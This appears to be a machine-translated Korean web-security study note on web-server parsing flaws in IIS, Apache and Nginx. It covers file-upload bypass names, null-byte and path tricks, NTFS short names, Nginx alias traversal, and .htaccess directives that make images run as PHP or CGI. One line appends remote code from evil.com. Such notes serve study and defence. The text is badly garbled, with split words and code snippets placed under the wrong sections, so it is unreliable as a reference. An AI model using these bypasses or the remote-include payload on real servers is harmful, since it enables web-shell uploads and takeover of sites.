4.15. 중간 부품
4432 단어 웹 보안 학습 노트중간 부품IISApacheNginx
4.15.1. IIS
4.15.1.1. IIS 6.0
/xx.asp;.jpg
;
번호 와 그 뒤의 내용 을 분석 하지 않 고 차단 하 는 것 과 같 습 니 다./xx.asp/xx.jpg (
xx. asp 디 렉 터 리 에서 임 의 해석) xx.asa xx.cer xx.cdx
4.15.1.2. IIS 7.0-7.5 / Nginx <= 0.8.37
Fast - CGI 가 열 린 상태 에서 파일 경로 뒤에
/xx.php
, 즉 xx.jpg/xx.php
을 더 하면 php 파일 로 해 석 됩 니 다.4.15.1.3. PUT 구멍
윈도 우 는 빈 칸 과 점, 그리고 일부 특수 문 자 를 끝으로 사용 할 수 없습니다. 이러한 파일 을 만 들 면 자동 으로 이름 이 바 뀌 기 때문에
xx.php[ ]
, xx.php.
, xx.php/
스 크 립 트 파일 을 업로드 할 수 있 습 니 다.4.15.1.5. 파일 이름 추측
NTFS 8.3 파일 형식 을 지원 할 때 짧 은 파일 이름 으로 디 렉 터 리 파일 을 맞 출 수 있 습 니 다.짧 은 파일 이름 특징 은 다음 과 같 습 니 다.
xx.php::$DATA
숫자 부분 이 증가 하고 접두사 가 같은 파일 이 존재 하면 뒤의 숫자 가 증가 합 니 다.이런 방법의 한계점 은:
"
~1
을 통 해 NTFS 8.3 파일 형식 을 닫 는 지원 을 통 해 복구 할 수 있다.4.15.1.6. 참조 링크
4.15.2. Apache
4.15.2.1. 접미사 해석
fsutil behavior set disable8dot3 1
(x1, x2, x3 는 mime. types 파일 에 정의 되 지 않 은 파일 형식).Apache 는 오른쪽 에서 왼쪽으로 접 두 사 를 판단 하고, x3 가 인식 할 수 없 는 접두사 라면 식별 할 수 있 는 접 두 사 를 찾 을 때 까지 x2 를 판단 한 다음 식별 가능 한 접 두 사 를 분석한다.4.15.2.2. .htaccess
AllowOverride 가 활성화 되 었 을 때 해석 규칙 을 사용 하 는. htaccess 를 업로드 합 니 다.
AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess #
Options ExecCGI AddHandler cgi-script .jpg
Options +ExecCGI AddHandler fcgid-script .gif FcgidWrapper “/bin/bash” .gif
php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://evil.com/evil-code.txt
4.15.2.3. 디 렉 터 리 옮 겨 다 니 기
설정
test.php.x1.x2.x3
시 아파 치 에 디 렉 터 리 에 빈틈 이 있 습 니 다.4.15.2.4. CVE-2017-15715
Options +Indexes
블랙리스트 올 리 기 를 피해.4.15.2.5. lighttpd
%0A
4.15.2.6. 참조 링크
4.15.3.1. Fast - CGI 닫 기
Fast - CGI 가 닫 힌 상태 에서 도 Nginx 에 분석 구멍 이 있 습 니 다. 파일 경로 (xx. jpg) 뒤에
xx.jpg/xx.php
, 즉 %00.php
을 더 하면 php 파일 로 해 석 됩 니 다.4.15.3.2. Fast - CGI 오픈
Fast - CGI 가 열 린 상태 에서 파일 경 로 를 추가
xx.jpg%00.php
하면 /xx.php
php 파일 로 해 석 됩 니 다.4.15.3.3. CVE-2013-4547
xx.jpg/xx.php
4.15.3.4. 설정 오류
4.15.3.4.1. 디 렉 터 리 타임 슬립
설정 에 유사 한
a.jpg\x20\x00.php
설정 이 있 을 때 location /foo { alias /bar/; }
는 /foo../
로 해석 되 어 디 렉 터 리 타임 슬립 이 발생 합 니 다.4.15.3.4.2. 디 렉 터 리 옮 겨 다 니 기
설정 중
/bar/../
이 열 렸 을 때 Nginx 에 디 렉 터 리 에 구멍 이 있 습 니 다.4.15.3.5 참조 링크
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
링크 ux 여러 nginx 설치Liux 에서 nginx 를 설치 할 때 보통. / configure 단계 에서 prefix 를 통 해 설치 경 로 를 설정 해 야 합 니 다.따라서... / configure 에 서로 다른 prefix 를 지정 하...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.